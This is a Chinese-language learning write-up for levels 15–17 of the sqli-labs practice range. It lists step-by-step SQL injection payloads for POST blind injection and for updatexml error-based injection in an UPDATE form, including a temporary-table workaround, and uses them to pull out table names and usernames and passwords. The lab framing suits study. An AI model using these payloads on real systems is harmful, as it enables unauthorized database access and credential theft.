sqli-lab靶场学习(五)——Less15-17(post方法盲注、修改密码)
前言
第11-14关开始用post方法,15-17关会用到盲注,post方法盲注和get方法类似。
Less15
这关是单引号闭合,有报错但没有具体情况的回显,因此适合使用错误盲注。
在用户名密码框分别输入
账号:admin' and 1=1 -- asd
密码:123456
页面返回正确
因此我们可以重复之前盲注的手法,具体字符就不逐个操作了,只列出对的情况。注入点在用户名那里,密码随便填写非空的即可
' or LENGTH(DATABASE())=8 -- asd
' or substr(database(), 1, 1)='s' -- asd
' or substr(database(), 2, 1)='e' -- asd
' or substr(database(), 3, 1)='c' -- asd
' or substr(database(), 4, 1)='u' -- asd
' or substr(database(), 5, 1)='r' -- asd
' or substr(database(), 6, 1)='i' -- asd
' or substr(database(), 7, 1)='t' -- asd
' or substr(database(), 8, 1)='y' -- asd
这样就猜出了当前数据库情况。用同样的方法,我们可以猜到可以找出在information_schema.tables中第四个表的表名是users:
' or (select LENGTH(table_name) from information_schema.tables where table_schema=database() limit 3,1)=4 -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' -- asd
之后用同样的方式,盲注找出列名:
' or (select LENGTH(column_name) from information_schema.columns where table_name='users' limit 4,1)=8 -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 1, 1)='u' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 2, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 3, 1)='e' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 4, 1)='r' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 5, 1)='n' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 6, 1)='a' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 7, 1)='m' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 8, 1)='e' -- asd
' or (select LENGTH(column_name) from information_schema.columns where table_name='users' limit 5,1)=8 -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 1, 1)='p' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 2, 1)='a' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 3, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 4, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 5, 1)='w' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 6, 1)='o' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 7, 1)='r' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 8, 1)='d' -- asd
盲注后匹配第四和第五个列名是username和password。
之后盲注找出用户名和密码:
' or (select LENGTH(username) from users limit 0,1)=4 -- asd
' or ASCII(substr((select username from users limit 0,1), 1, 1))=68 -- asd
' or ASCII(substr((select username from users limit 0,1), 2, 1))=117 -- asd
' or ASCII(substr((select username from users limit 0,1), 3, 1))=109 -- asd
' or ASCII(substr((select username from users limit 0,1), 4, 1))=98 -- asd
' or (select LENGTH(password) from users limit 0,1)=4 -- asd
' or ASCII(substr((select password from users limit 0,1), 1, 1))=68 -- asd
' or ASCII(substr((select password from users limit 0,1), 2, 1))=117 -- asd
' or ASCII(substr((select password from users limit 0,1), 3, 1))=109 -- asd
' or ASCII(substr((select password from users limit 0,1), 4, 1))=98 -- asd
这里用了ascii码来匹配,因为账号密码是有大小写区分,但mysql默认配置里是不区分大小写。前面数据库名、表名、列名也可以用ascii码去匹配。如果数据库本身是区分大小写的话就一定要用ascii码来匹配。
其实总体来说和Less8没什么区别。所以很多内容直接从那里复制过来。具体可以参考一下《sqli-lab靶场学习(三)——Less8-10(盲注、时间盲注)》
Less16
这里只是把less15的单引号闭合改成 "),双引号+右括号。其他不变,所以就不重复列举了。
不过16关的标题提示我们用时间盲注来处理。其实也是可以的,参考Less9
Less17
这关有个很大的不同点,是让我们改密码。很显然,前面这么多关我们事实上都是在查询,但本关是做更新。
尝试了一些闭合,特点是报错的时候会有错误信息回显。所以可以用updatexml大法,同时注入点在密码框。
在用户名框和密码框分别输入:
admin
1' where updatexml(1,concat(0x7e,database(),0x7e),1)#'
可以看到报错信息:
和Less5的套路是一样的。接下来我们找出表名,根据less5的经验,我们在密码框输入:
1' where updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- asd
看到表名出来了。
之后就是找对应字段名:
1' where updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- asd
1' where updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e),1) -- asd
username和password就出来了。
之后就剩下用户名密码了:
1' where updatexml(1,concat('~',(select username from security.users limit 0,1),'~'),1) -- asd
1' where updatexml(1,concat('~',(select password from security.users limit 0,1),'~'),1) -- asd
这里没法回显,因为在 UPDATE 语句中使用了子查询,并且子查询中引用了待更新的目标表。所以我们这里要使用临时表来处理:
1' where updatexml(1,concat('~',(select username from (select username from users limit 0,1) as temp),'~'),1) -- asd
1' where updatexml(1,concat('~',(select password from (select password from users limit 0,1) as temp),'~'),1) -- asd
就查出来了。
小结
15和16关是post方法如何使用盲注来渗透,17关在update方法中进行渗透,并且在最后update时有个报错,不能用之前的updatexml大法语句,要使用临时表。